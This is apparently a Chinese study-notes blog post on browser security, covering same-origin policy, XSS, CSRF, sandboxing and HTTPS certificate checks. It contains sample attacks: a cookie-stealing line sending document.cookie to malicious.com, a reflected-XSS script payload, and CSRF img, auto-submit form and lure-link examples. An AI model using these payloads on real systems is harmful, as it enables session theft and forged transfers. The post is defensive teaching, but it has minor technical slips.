《浏览器工作原理与实践》系列笔记 - 浏览器安全

Posted by cody1991 on March 22, 2021

浏览器安全可以分为三个模块:Web 页面安全,浏览器网络安全和浏览器系统安全

假设我们没有安全策略,想想 web 世界会怎样?

web 世界会是开放的,任何资源都可以接入,我们网站可以加载并执行其他网站的脚本文件,图片,音视频,下载其他站点的可执行文件。这种绝对的自由,没有限制,会造成无序混乱和不可控的局面

比如打开银行站点,又打开一个恶意站点,恶意站点可以做很多事情

  • 修改银行站点的 DOM,CSSDOM 信息
  • 在银行站点插入 JavaScript 脚本
  • 劫持用户登录的用户名和密码
  • 读取银行站点的 cookie,indexDB 等数据
  • 上传这些信息到自己的服务器
  • 伪造转账请求等

我们需要有安全策略保障我们的隐私和数据,于是乎引出了最基础和核心的安全策略:同源策略(Same-origin policy)

同源策略:为什么 XMLHttpRequst 不能跨域请求资源

什么是同源策略

如果两个 URL 协议,域名,端口都一样,就认为他们是同源的

比如相同的 https 协议,同一个域名 www.qq.com ,以及都是 443 端口

两个同源之间可以相互访问资源和操作 DOM,不同源若想访问资源和操作 DOM,会有基础的安全策略制约,这就叫做同源策略

主要表现在 DOM,web 数据和网络三个层面

  • DOM 层面,同源策略限制来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作
  • 数据层面,同源策略限制不同源的站点读取当前站点的 cookie,indexDB,localStorage 等数据
  • 网络层面,同源策略限制了 XMLHttpRequst 等方式把站点的数据发送给不同源的站点

安全和便利性的权衡

我们了解同源策略隔离不同源的 DOM,数据和网络通信,实现 web 页面的安全性

安全性和便利性是互相对立的,不同源之间的绝对隔离是最安全的,但是也让 web 项目难以开发使用

所以需要做出权衡,满足灵活性,出让一定的安全性

但是这有引起了很多安全问题,比如 xss 攻击 和 csrf 攻击,这两个后续会详细说下

页面可以潜入第三方资源

同源要求所有资源来自同一个源,我们 html css javascript 图片 视频等文件都要部署在同一台服务器上,这违背了 web 的初衷,也有很多限制。比如很多的资源部署到了不同的 CDN 上,CDN 资源部署在另外一个域名上

于是乎同源策略对页面的引用资源开了个小口,可以任意引用外部文件

但是,比如我们现在首页被恶意程序劫持了,劫持手段很多,最常见的是恶意程序通过各种途径往 HTML 文件插入恶意脚本

比如我们在页面插入了一段脚本,HTML 送到浏览器的时候,浏览器无法知道是恶意的文件还是正常的,页面启动的时候可以去修改用户的搜索结果,改变内容指向

也可以把页面的敏感信息通过 xss 手段发送给服务器,比如点击了一个恶意链接,恶意的 JavaScript 代码读取数据发送给服务器。比如下面这段代码

1
2
let url = `http://malicious.com?cookie = ${document.cookie}`;
open(url);

读取了 cookie,作为参数放到恶意站点尾部,服务器就能获取到用户的 cookie 信息了

为了解决 xss 引入了内容安全策略 CSP,核心思想是让服务器决定浏览器能够加载哪些资源,决定浏览器是否可以执行内联的 JavaScript 代码,大大减少了 xss 攻击

跨域资源共享和跨域文档消息机制

我们在官网 A 通过 XMLHttpRequest 请求 InfoQ 的资源,同源策略会限制我们发出请求,大大制约了生产力

我们引入了跨域资源共享(CORS),使用它进行跨域访问控制,让跨域数据传输更加安全进行

我们也说明了不同源无法互相操作 DOM,但是如果两个不同源 DOM 要通信的话,浏览器加入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信

总结:

  • 页面可以引入第三方资源,但是暴露了比如 XSS 的安全问题,在开放的基础上引入 CSP 限制自由程度
  • XMLHttpRequest 无法进行跨域请求,在这严格策略基础上引入了跨站资源共享策略
  • 不同源 DOM 无法互相操纵,引入跨文档消息机制

跨站脚本攻击 XSS:为什么 cookie 中有 httpOnly 属性

什么是 XSS 攻击

XSS 全称 Cross Site Scripting,跨站脚本攻击。指的是黑客往 HTML 文件或者 DOM 注入恶意脚本,用户浏览页面的时候利用注入的恶意脚本对用户进行攻击的手段

一开始是通过跨域来实现的,所以叫跨域脚本,但是现在 HTML 文件注入恶意代码的方法越来越多,跨域注入脚本不是唯一手段了。但是名字还是一直保留

页面注入脚本,浏览器无法区分是恶意还是正常的脚本,所以恶意脚本也有各种页面权限。我们看看恶意脚本能做什么

  • 窃取 cookie,通过 document.cookie 获取 cookie 信息,通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能把数据发送给恶意服务器,恶意服务器拿到 cookie 信息可以在电脑上模拟登录,进行恶意操作
  • 监听用户行为,比如使用 addEventListener 接口监听键盘事件,获取用户输入的信用卡信息,发到恶意浏览器,黑客又可以做很多事情了
  • 修改 DOM 伪造登陆窗口,欺骗用户输入用户名和密码
  • 生成浮窗广告,严重影响用户体验

注入了恶意脚本相当于页面的隐私数据完全暴露给黑客了

恶意脚本是怎么注入的

通常有 存储型 XSS 攻击,反射型 XSS 攻击,基于 DOM 的 XSS 攻击

存储型 XSS 攻击

  • 黑客利用漏洞提交恶意代码到网站数据库
  • 用户请求包含恶意代码的脚本页面
  • 用户浏览页面的时候把 cookie 信息上传到服务器

比如喜马拉雅 2015 年专辑名字没有过滤,用户打开设置了恶意代码的专辑的时候,就会执行恶意代码了,把 cookie 上川岛黑客的服务器中,然后可以模拟登录以后做恶意操作

反射型 XSS 攻击

恶意脚本属于用户发送给网站请求的一部分,随后网站又把恶意脚本返回给用户,当恶意脚本在用户页面执行,又可以执行一些恶意操作

比如我们下面这行服务器代码:

1
2
3
4
5
6
7
8
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function (req, res, next) {
  res.render('index', { title: 'Express', xss: req.query.xss });
});

module.exports = router;

而视图代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
  <head>
    <title><%= title %></title>
    <link rel="stylesheet" href="/stylesheets/style.css" />
  </head>
  <body>
    <h1><%= title %></h1>
    <p>Welcome to <%= title %></p>
    <div><%- xss %></div>
  </body>
</html>

把 url 中 xss 参数显示在页面中,如果打开的是正常的 http://localhost:3000/?xss=123 连接,页面直接显示 123

但是如果打开的是 http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script>

就会弹出来一个 你被 xss 攻击了 的提示了

用户把一些恶意的代码请交给服务器,服务器收到请求又把恶意代码反射给了浏览器,这就是 反射型 XSS 攻击

现实中黑客通过 QQ 群或者邮箱等渠道诱导用户去点击恶意链接

服务器是没有去存储这些反射型 XSS 攻击的恶意脚本的,这就是和 存储型 XSS 攻击不同的地方

基于 DOM 的 XSS 攻击

不涉及 Web 服务器,用户通过各种手段把恶意脚本注入到用户页面,比如网络劫持页面传输过程中的 HTML 页面内容(通过 Wi-Fi 路由器劫持,恶意软件劫持等等),共同点是资源在传输过程或者用户使用页面的时候修改 web 页面的数据

如何组织 XSS 攻击

存储型 XSS 和反射型 XSS 都需要经过服务器的处理,这两种可以认为是服务端的安全漏洞。

基于 DOM 的 XSS 攻击都是在浏览器端完成的,可以认为是前端的安全漏洞

但是它们都有一个共同点,需要往浏览器注入恶意脚本,通过恶意脚本运行去进行恶意操作,发送用户信息到恶意服务器

所以要怎么阻止 XSS 攻击,通过阻止恶意脚本注入和恶意消息的发送来实现

服务器对输入脚本进行过滤转码

不管反射型还是存储型,都可以在服务器对关键的字符转码和过滤,比如 code:<script>alert('你被 xss 攻击了')</script> 过滤后只剩下了 code。前端请求到的页面,脚本内容都被过滤了,前端也就不会执行了

也可以对内容进行转码,把上面的代码转码成 code:&lt;script&gt;alert(&#39; 你被 xss 攻击了 &#39;)&lt;/script&gt;,前端也无法执行这段代码

充分利用 CSP

严格实施 CSP 可以有效防范 XSS 攻击

  • 限制还在其他域下的资源文件,比如黑客插入的不同域名脚本文件,是无法被加载的
  • 禁止向第三方提交数据,用户数据也不会外露了
  • 禁止内联脚本和未授权的脚本
  • 提供了上报机制,尽快发现有哪些 XSS 攻击,进行修复

使用 HttpOnly 属性

很多 XSS 攻击是盗用 cookie 的,可以用 HttpOnly 属性保护我们 cookie 的安全,它是通过服务器响应头设置的,比如:

set-cookie: sid=123456; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly

最后使用了 HttpOnly,这个 cookie 无法通过 document.cookie 获取,重要的数据都可以这样设置一下

总结

XSS 攻击就是黑客往页面注入恶意脚本,把重要数据上传到恶意的服务器,常见的三种是 存储型 XSS,反射型 XSS 和基于 DOM 的 XSS 攻击

他们都需要往页面注入恶意脚本,通过恶意脚本把用户数据上传到黑客的服务器

他们注入方式也不同,又通过服务器漏洞的,也有客户端直接注入的

针对这些攻击,三种主要的手段是服务器对输入的内容进行过滤或者转码,第二是利用好 CSP,第三是使用 HttpOnly 保护重要的 cookie 信息

我们也可以加入验证码防止冒充用户提交数据,一些不受信任的输入限制长度,也加大了 XSS 攻击的难度

CSRF 默认链接不要随便点击

XSS 一般是黑客注入恶意脚本,然后把用户数据上传到恶意服务器,再进行一些攻击的手段

今天来看看另外一个攻击。也是我们经常听见的,不要乱点击链接

我们看个简单的例子,某个人点了下邮件里面的链接,过几天域名被盗了

  1. 发起登陆邮箱的请求,返回登陆态,包括了 cookie session,在用户的浏览器中邮箱处于登陆状态
  2. 黑客诱导用户打开链接,比如黑客页面,编写好了一个邮箱过滤器,通过邮箱的 HTTP 设置接口设置了新的邮件过滤功能,把用户的邮箱都转发到了黑客手上
  3. 黑客就可以获取到相关的信息重置了域名的用户名和密码

什么是 CSRF 攻击

Cross-site request forgery,跨站请求伪造,黑客诱导用户打开黑客网站,在黑客网站中利用登陆态发起跨站 请求

简单来说就是黑客利用了用户的登陆态,通过第三方站点做坏事

用户打开了黑客的网站,有三种方式去进行 CSRF 攻击

假设有个网站有转账功能,可以通过 get 或者 post 实现转账

1
2
3
4
https://.../sendCoin

user
number

我们模拟下怎么进行 CSRF 攻击

自动发起 Get 请求

1
<img src="https://.../sendCoin?user=cody&number=100" />

这是黑客的 HTML 代码,用户的请求隐藏在 img 代码中,欺骗浏览器这是个图片。资源加载时,自动发起 img 资源请求,服务器会认为这是一个转账请求,成功完成转账

自动发起 Post 请求

1
2
3
4
5
6
7
<form method="post" action="https://.../sendCoin">
  <input name="user" />
  <input name="number" />
</form>
<script>
  document.form.submit();
</script>

黑客隐藏了一个表单,用户打开页面以后自动提交表单数据,服务器也会执行转账操作

引导用户点击链接

除了 Get 和 Post,还有一个就是诱导用户去点击黑客链接,通常在论坛和恶意邮件中

1
2
3
<a href="https://.../sendCoin?user=cody&number=100">
  <img title="有吸引力的图片"
/></a>

以上三种就是常用的方法,如果用户登录过了,以上三种都会意外的导致转账操作

CSRF 不需要恶意代码注入到页面中,利用服务器的漏洞和用户的登陆态信息就可以完成攻击

如何防止 CSRF 攻击

下面是发起 CSRF 攻击的必要条件

  • 目标站点有 CSRF 漏洞
  • 用户登陆过目标站点,并且在浏览器保留了登陆态信息
  • 需要用户打开第三方的地址,可能是黑客网站也可能是论坛

CSRF 不会注入恶意脚本到网页中,所以用户无法获取用户的信息。

而其关键的一点是能找到网站的 CSRF 漏洞,所以我们主要的防护手段是提升服务器的安全性

避免服务器受到 CSRF 攻击一般有下面的手段

黑客是利用登陆态信息进行攻击的,cookie 用来记录登陆态信息,从这块下手

CSRF 都是第三方网站发起的,要防止 CSRF 攻击,最好从第三方发送请求时禁止 cookie 的发送。因为浏览器通过不同源发送请求有如下区别:

  • 第三方发起的请求,需要浏览器禁止发送关键的 cookie 到服务器
  • 同一个站点发起的请求,保证 cookie 的正常发送

cookie 的 sameSite 属性就是为了解决这个问题,可以有效的降低 CSRF 攻击

samesite 是怎么防止 CSRF 攻击的呢?set-cookie 的时候带上 sameSite 属性,它有三个值

  • Strict 最为严格,浏览器完全禁止第三方 cookie
  • Lax 相对宽松,跨站点情况下,从第三方站点打开或者点击 Get 方式的表单可以携带 cookie,但是在第三方网站进行 post 的时候,或通过 img iframe 等标签加载 URL,不携带 cookie
  • None 任何情况下都会发送 cookie 数据

所以针对关键 cookie 设置 Strict 和 Lax,跨站请求的时候关键的 cookie 就不会发送到服务器,使得 CSRF 失效

验证请求的来源站点

服务器可以验证请求的来源站点,由于 CSRF 攻击一般来自第三方站点,服务器禁止来自第三方站点的请求,如何判断是第三方的站点?

需要 HTTP 头中的 Referer 和 Origin 属性

Referer 是一个请求头字段,记录 HTTP 请求的来源地址。比如我们从 A 网站打开了 B 网站,B 网站的 Referer 就是 A 网站的地址

虽然可以通过 Referer 告诉服务器请求来源,但是一些场景不适合把来源地址暴露给服务器,浏览器也提供了一个选项可以不上传 Referer 字段

在服务器验证 Referer 并不可靠,又制定了一个 Origin 属性。

在 XMLHttpRequest、Fecth 发起跨站请求的时候或者通过 post 发送请求的时候,都会带上这个属性

Origin 只包含了域名信息,没有具体的 URL 地址,这是他们两个主要的区别。

服务器优先判断 Origin,如果没有这个字段再去判断 Referer

CSRF Token

还可以采取 CSRF Token

  1. 浏览器向服务器请求的时候,生成一个 CSRF Token,然后植入到页面中
  2. 浏览器如果发起请求的话,需要带上页面的 CSRF Token,服务器校验是否合法。第三方发起的请求是无法获取到正确的 CSRF Token 的

总结

CSRF 攻击需要具备三个条件:目标站点存在漏洞,用户登陆过目标站点,黑客在第三方网站发起攻击

我们如何防范:利用好 cookie 的 sameSite 属性,验证来源站点,使用 CSRF Token,搭配使用

其实页面的安全问题主要就是同源策略开了两个小口:页面可以加载任意第三方资源,另外一个是通过 CORS 策略可以让 XMLHttpRequest 和 Fetch 去跨域请求资源

我们引入 CSP 来限制页面加载任意资源,引入 httpOnly 机制禁止 XMLHttpRequest 或者 Fetch 发送一些关键 Cookie,引入 sameSite 防止 CSRF 攻击

沙盒:页面和系统之间的隔离墙

浏览器架构如果影响到操作系统安全的

浏览器的一些漏洞如果没有及时修复被黑客利用,就比如缓冲区溢出问题,不过和 xss 攻击是不同的

  • xss 只是把恶意脚本注入到网页,虽然能窃取 cookie,但是无法对系统作出攻击
  • 浏览器的漏洞攻击可以入侵到浏览器进程内部,读取和修改浏览器进程内部的任意内容,穿透浏览器,在用户操作系统上安装恶意软件,监听用户键盘输入,读取硬盘内容

这类攻击无疑是非常可怕的

安全视角下的多进程架构

现代浏览器的目标是安全快速和稳定,它们在设计的时候也考虑到了这类安全问题

浏览器被划分为渲染内核和浏览器内核,浏览器内核是由网络进程,浏览器主进程和 GPU 组成的,渲染内核就是渲染进程

网络资源通过浏览器内核下载,然后资源通过 IPC 提交给渲染进程。渲染进程解析绘制这些资源,生成图片等。但是渲染进程也不负责把图片显示到页面上,最终生成的图片提交给浏览器内核模块,负责显示这张图片

化为不同的进程是为了增加稳定性,那么

  • 为什么需要浏览器内核请求资源,把数据给渲染进程,而不从进程内部请求呢
  • 渲染进程只负责生成图片,还要通过 IPC 通知浏览器内核,让浏览器内核来显示图片呢

我们需要从系统安全的角度来分析

安全沙盒

由于渲染进程需要解析 HTML,CSS,网络图片解码等,如果渲染进程存在系统级别的漏洞,以上操作可能让恶意站点获取到渲染进程的控制权限,进而获取操作系统的控制权限,这样非常危险

网络资源存在各种可能,浏览器默认所有资源都不可信,但是不能确保没有漏洞,出现了漏洞黑客就可以通过内容进行攻击

如果下载了一个恶意软件没有运行那是没问题的,浏览器的网络内容也是这样,浏览器安全下载各种资源,但是如果需要如解析 HTML、解析 CSS、执行 JavaScript、图片编解码等操作就需要非常小心了,否则会被黑客利用发起攻击

所以操作系统和渲染进程之间建了一道墙,渲染进程即使被漏洞攻击了,黑客也无法获取渲染进程以外的操作系统权限。这道隔离的墙就是安全沙盒

所以渲染进程无法获取和修改操作系统的数据,需要访问系统资源的时候,让浏览器内核实现,通过 IPC 转发给渲染进程

安全沙盒如何影响各个模块功能

安全沙盒最小的保护单位是进程,限制进程对操作系统数据的修改和访问,如果需要安全沙盒运行在某个进程上,这个进程不能进行读写操作系统的操作,比如读写文件,发送网络请求,调用 GPU 接口等

我们分析下渲染进程和浏览器内核各自的责任

渲染进程需要沙盒保护,内部涉及到的系统交互功能都转移到了浏览器内核来实现

安全沙盒是如何影响到各个模块的?

持久存储

安全沙盒需要渲染进程无法直接访问用户的文件系统,但是渲染进程需要访问 cookie,上传文件的需求。浏览器把这些读写文件的操作都放到了浏览器内核去实现,通过 IPC 把结果返回给渲染进程

  • 浏览器内核存放了一个所有 cookie 的 cookie 数据库,渲染进程获取 cookie 的时候,通过 IPC 发送读取 cookie 的请求给浏览器内核,浏览器内核读取以后通过 IPC 返回给渲染进程
  • 渲染进程无法直接访问网络,浏览器在处理 URL 地址的时候会告诉渲染进程是否有权限请求这个 URL,比如检查 XMLHttpRequest 或者 Fetch 是否是跨站点请求,HTTPS 站点中是否有 HTTP 请求

用户交互功能

通常的 UI 程序,提供了一个界面给你,运行用户与程序交互,允许程序在界面上绘制,比如 Windows 提供的是 HWND,Linux 提供的 X Window,把它们统称为窗口句柄,程序可以在上面绘制和接收键盘鼠标消息

但是因为沙盒的存在渲染进程无法操作窗口句柄,限制了渲染进程读取用户输入的消息

所以渲染进程需要有下面的改变

  • 渲染进程需要渲染出位图,把这些位图发送给浏览器内核,浏览器内核再把它们绘制到屏幕上
  • 操作系统没有把鼠标键盘消息传给渲染进程,直接传给了浏览器内核,浏览器内核根据浏览器的状态判断如何调度这些事件,确定是否转发给渲染进程

站点隔离

站点隔离指的是 Chrome 把同一站点(相同的跟域名和协议)放到同一个渲染进程

一开始是以标签来划分渲染进程的,但是一个标签页可能存在多个 iframe,这些 iframe 又来自不同的站点,导致不同站点的内容通过 iframe 运行在了同一个渲染进程中

所有操作系统都面临着两个 A 级漏洞——幽灵(Spectre)和熔毁(Meltdown),这两个漏洞是由处理器架构导致的,很难修补

黑客通过漏洞直接进入到进程内部,如果没有沙盒保护,可以对操作系统进行攻击

一个银行站点如果包含了恶意 iframe,黑客利用 A 级漏洞入侵渲染进程,恶意程序可以读取银行站点渲染进程内的所有内容了,这样风险很大

Chrome 于是进行了 iframe 级别的渲染进程,严格按照同一站点策略分配渲染进程,这就是 Chrome 内的站点隔离策略

这样就可以把恶意的 iframe 限制在它自己的渲染进程内,无法访问其他 iframe 的进程内容了

2019 年 10 月 20 日 Chrome 团队宣布安卓版的 Chrome 已经全面支持站点隔离

HTTPS:让数据传输更安全

网络安全协议 HTTPS

起初设计 HTTP 很简单就是传输超文本文件,没有加密的需求,所以一直是明文传输的

这样在传输过程中数据可能被窃取或者篡改,这个意味着服务器和浏览器之间还有个中间人,中间人完全掌握了你的一切通信内容

我们的 HTTP 传输内容很容易被窃取,伪造和篡改,就被叫做中间人攻击

HTTP 把数据交给了 TCP 传输后经过电脑(电脑有恶意的软件,抓去篡改 HTTP 请求内容),Wi-Fi 路由器(黑客使用的钓鱼 Wi-Fi),运营商和目标服务器,每个环节都可能被攻击。

在 HTTP 协议栈中引入安全层

我们可以在 TCP 和 HTTP 直接加入一个安全层,所有数据都要进行加密和解密

所以 HTTPS 不是一个新的协议,HTTP 直接和 TCP 交互,而 HTTPS 先和安全层交互,安全层再和 TCP 层交互,不会影响到其他。我们要去了解安全层是如何工作的

主要有两个指责:对发起 HTTP 请求的数据进行加密操作,对收到的 HTTP 请求数据进行解密操作

第一版 使用对称加密

对称加密指的是加密和解密都用相同的密钥

我们来实现第一版的 HTTPS

在两台电脑上进行加解密操作,我们需要直到密钥是什么。所以 HTTPS 发送前浏览器和服务器需要协商用的加密方法和密钥

上图知道首先需要协商加解密的方式,这是 HTTPS 建立安全连接的方法。为了让密钥难以破解,让服务器和浏览器同时决定密钥

  • 浏览器发送它支持的加密套件列表(能支持的加密方法列表),和一个随机的 client-random,
  • 服务器从公加密套件列表选择一个,生成一个随机的 server-random,把这两个返回给浏览器
  • 浏览器和服务器分别返回确认信息

现在浏览器和服务器都有相同的 client-random 和 server-random 了,然后使用相同的方式把 client-random 和 serve-random 混合起来形成一个密钥 master secret,有了这个密钥和加密套件,就可以进行加密传输了

这里存在的问题是 client-random 和 server-random 都是明文传输的,黑客是能够拿到套件和双方的随机数,而利用随机合成密钥的方法也是公开的,黑客也能拿到密钥,还是可以破解的,使用这个密钥来窃听和伪造数据

第二版 使用非对称加密

非对称加密算法有 A,B 两把钥匙,如果你用 A 来加密,那只能用 B 来进行解密,如果用 B 来加密,只能用 A 来解密

HTTPS 里面会把其中一个密钥明文的方式传给浏览器,把这个叫做公钥,自己留下的叫做私钥。公钥谁都可以拿到,私钥只有服务器自己知道

  • 浏览器发送加密套件列表给服务器
  • 服务器选择一个加密套件,和公钥一起返回给浏览器
  • 浏览器和服务器各自确认

那么发送数据的时候,浏览器通过公钥来加密内容,这些内容只有私钥可以解开,所以黑客即使知道了公钥和数据,也无法解开。

但是

  • 非对称加密效率太低,严重影响加解密的速度,进而影响用户打开页面的速度
  • 无法保证服务器发送给浏览器的数据安全:浏览器可以用公钥加密,而服务器只能用私钥加密,私钥加密只有公钥可以解开,黑客也能获取到公钥,所以也能解开,这样无法保证服务器发送的内容是安全的

第三版 对称加密和非对称加密结合

  • 传输数据阶段用对称加密
  • 对称加密的密钥通过非对称加密来传输

  • 浏览器向服务器发送对称加密套件列表,非对称加密套件列表,和随机数 client-random
  • 服务器保持 client-random,选择对称加密套件和非对称加密套件,生成随机的 server-random,向浏览器发送加密套件, server-random 和公钥
  • 浏览器保持公钥,使用 client-random, server-random 计算出 pre-master,然后利用公钥对 pre-master 加密,发送加密后的数据给浏览器
  • 浏览器用私钥解出 pre-master,返回确认消息

这样浏览器和服务器都有了 client-random, server-random 和 pre-master,浏览器和服务器用他们随机生成对称密钥,他们用同一套方法生成密钥,所以会是相同的

有个对称密钥双方就可以使用它来传输数据了

pre-master 是经过公钥加密的,黑客无法获取到 per-master,那么就无法生成密钥,那也无法破解传输的内容了

添加数字证书

但是还是存在问题,比如我们要打开一个正常网站,黑客劫持了 DNS 把正常网站的 IP 换成了黑客网站 IP,我们于是访问黑客网站的服务器,黑客可以去实现公钥和私钥,浏览器并不知道在访问黑客网站

于是怎么证明 我就是我 呢

比如买房子,房管局提交你的材料,银行流水,银行证明,身份证等,房管局的人确认无误以后,给你一个房产证,有你的名字,身份证,实际面积,公摊面积

我们之所以能证明房子是我的,因为有一个房管局这个权威的机构,它会给你发布一个证书

浏览器的数字证书有两个用处:

  • 向浏览器证明服务器的身份
  • 保护了服务器的公钥

这里主要修改了两点:

  • 服务器没有直接返回公钥,而是返回了数字证书,公钥是包含在数字证书里面的
  • 浏览器需要验证数字证书是否正确,然后进行后面的操作

所以我们加上了服务器认证的步骤,黑客即使伪造了服务器,证书是无法伪造的,所以无法欺骗用户

数字证书的申请验证

如何申请证书

  • 准备一套公钥和密钥
  • 向 CA 机构提交公钥,公司,站点信息并等待认证
  • CA 通过各种方法验证信息的真实性
  • 通过审核以后,发放数字证书,包括公钥,组织信息,CA 信息,有效期,证书序列号,这些是明文的,以及一个 CA 的签名

CA 使用哈希函数算法计算提交的明文信息,得出信息摘要,CA 再使用它的私钥对信息进行加密,加密后的密文就是 CA 发布的数字签名,这个是有办法去进行验证的(比如房产证的盖章是可以验证的)

浏览器如何验证数字证书

浏览器发起请求时候,服务器会返回数字证书给浏览器,浏览器会对其进行验证

首先读取相关的明文信息,使用 CA 签名时一样的哈希函数算法得到信息摘要 A,利用对应 CA 的公钥解开签名数据,得到信息摘要 B,对比信息摘要 A 和 B,如果一样的话就认为是一致合法的。同时还会验证有效时间等

这个时候验证了 CA 是谁,但是有可能 CA 比较小众,浏览器不确认是否信任,它会继续查找给这个 CA 颁布证书的 CA,再继续验证它上级 CA 的可靠性。一般浏览器会内置顶级 CA 的信息,包含了公钥。如果一直到了顶级都无法找到,会被判定为非法(。。感觉有点像原型链。。最后返回 undefined)

最后保证:

  • 私钥不需要提供,自己保存
  • 数字证书最核心的 CA 使用私钥来生成数字签名
  • 内置 CA 对应的证书叫做根证书,最具有权威性的,为自己签名,叫做自签名证书